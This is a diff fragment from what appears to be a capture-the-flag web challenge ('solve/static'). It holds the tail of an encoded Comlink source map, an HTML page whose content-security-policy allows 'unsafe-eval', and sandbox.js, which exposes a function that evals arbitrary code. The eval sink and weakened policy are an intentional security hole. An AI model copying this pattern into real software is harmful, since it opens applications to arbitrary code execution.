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"}
+\ No newline at end of file
diff --git a/solve/static/index.html b/solve/static/index.html
@@ -0,0 +1,6 @@
+<!DOCTYPE html>
+<meta http-equiv="content-security-policy" content="default-src 'self' 'unsafe-eval'">
+<title>wsbx</title>
+<div id="output"></div>
+<button id="report">Report a bug</button>
+<script src="app.js" type="module"></script>
diff --git a/solve/static/sandbox.js b/solve/static/sandbox.js
@@ -0,0 +1,12 @@
+import { expose } from './comlink-4.3.1.js';
+
+expose({
+ run(code, errorHandler) {
+ try {
+ return eval(code);
+ } catch (error) {
+ console.log("caught!");
+ errorHandler(error);
+ }
+ }
+});